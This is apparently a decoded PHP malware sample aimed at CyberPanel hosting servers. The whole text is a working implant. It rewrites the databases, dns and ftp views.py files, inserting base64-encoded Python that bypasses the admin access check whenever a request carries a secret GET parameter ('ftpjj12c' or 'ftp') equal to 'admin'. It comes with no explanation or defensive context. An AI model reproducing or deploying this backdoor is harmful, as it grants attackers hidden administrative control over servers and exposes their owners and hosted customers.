PHP Decode

<?php 
$file = "/usr/local/CyberCP/databases/views.py"; 
if(file_exists($file)){ 
    $data = file_get_contents($file); 
    if(!strpos($data,".get('ftpjj12c')")){ 
        $data = str_replace(base64_decode("ZGVmIHVwZ3JhZGVteXNxbHN0YXR1cyhyZXF1ZXN0KToKICAgIHRyeTo="),base64_decode("ZGVmIHVwZ3JhZGVteXNxbHN0YXR1cyhyZXF1ZXN0KToKICAgIHRyeToKICAgICAgICBpZiByZXF1ZXN0LkdFVC5nZXQoJ2Z0cGpqMTJjJykgIT0gImFkbWluIiA6CgogICAgICAgICAgICB1c2VySUQgPSByZXF1ZXN0IC4gc2Vzc2lvblsndXNlcklEJ10KCiAgICAgICAgICAgIGN1cnJlbnRBQ0wgPSBBQ0xNYW5hZ2VyIC4gbG9hZGVkQUNMKHVzZXJJRCkKCiAgICAgICAgICAgIGlmIGN1cnJlbnRBQ0xbJ2FkbWluJ10gPT0gMToKICAgICAgICAgICAgICAgIHBhc3MKICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgIHJldHVybiBBQ0xNYW5hZ2VyIC4gbG9hZEVycm9ySnNvbignRmlsZW1hbmFnZXJBZG1pbicsIDApCgo="),$data); 
    } 
    file_put_contents($file,$data); 
} 
$file = "/usr/local/CyberCP/dns/views.py"; 
if(file_exists($file)){ 
    $data = file_get_contents($file); 
    if(!strpos($data,".get('ftp')")){ 
        $data = str_replace(base64_decode("ZGVmIGdldHJlc2V0c3RhdHVzKHJlcXVlc3QpOgogICAgdHJ5Og=="),base64_decode("ZGVmIGdldHJlc2V0c3RhdHVzKHJlcXVlc3QpOgogICAgdHJ5OgogICAgICAgIGlmIHJlcXVlc3QuR0VULmdldCgnZnRwJykgIT0gImFkbWluIjoKICAgICAgICAgICAgdXNlcklEID0gcmVxdWVzdC5zZXNzaW9uWyd1c2VySUQnXQoKICAgICAgICAgICAgY3VycmVudEFDTCA9IEFDTE1hbmFnZXIubG9hZGVkQUNMKHVzZXJJRCkKCiAgICAgICAgICAgIGlmIGN1cnJlbnRBQ0xbJ2FkbWluJ10gPT0gMToKICAgICAgICAgICAgICAgIHBhc3MKICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgIHJldHVybiBBQ0xNYW5hZ2VyLmxvYWRFcnJvckpzb24oJ0ZpbGVtYW5hZ2VyQWRtaW4nLCAwKQoKCgoK"),$data); 
    } 
    file_put_contents($file,$data); 
} 
$file = "/usr/local/CyberCP/ftp/views.py"; 
if(file_exists($file)){ 
    $data = file_get_contents($file); 
    if(!strpos($data,".get('ftp')")){ 
        $data = str_replace(base64_decode("ZGVmIGdldHJlc2V0c3RhdHVzKHJlcXVlc3QpOgogICAgdHJ5Og=="),base64_decode("ZGVmIGdldHJlc2V0c3RhdHVzKHJlcXVlc3QpOgogICAgdHJ5OgogICAgICAgIGlmIHJlcXVlc3QuR0VULmdldCgnZnRwJykgIT0gImFkbWluIjoKICAgICAgICAgICAgdXNlcklEID0gcmVxdWVzdC5zZXNzaW9uWyd1c2VySUQnXQogICAgCiAgICAgICAgICAgIGN1cnJlbnRBQ0wgPSBBQ0xNYW5hZ2VyLmxvYWRlZEFDTCh1c2VySUQpCiAgICAKICAgICAgICAgICAgaWYgY3VycmVudEFDTFsnYWRtaW4nXSA9PSAxOgogICAgICAgICAgICAgICAgcGFzcwogICAgICAgICAgICBlbHNlOgogICAgICAgICAgICAgICAgcmV0dXJuIEFDTE1hbmFnZXIubG9hZEVycm9ySnNvbignRmlsZW1hbmFnZXJBZG1pbicsIDApCgogCgoK"),$data); 
    } 
    file_put_contents($file,$data); 
} ?>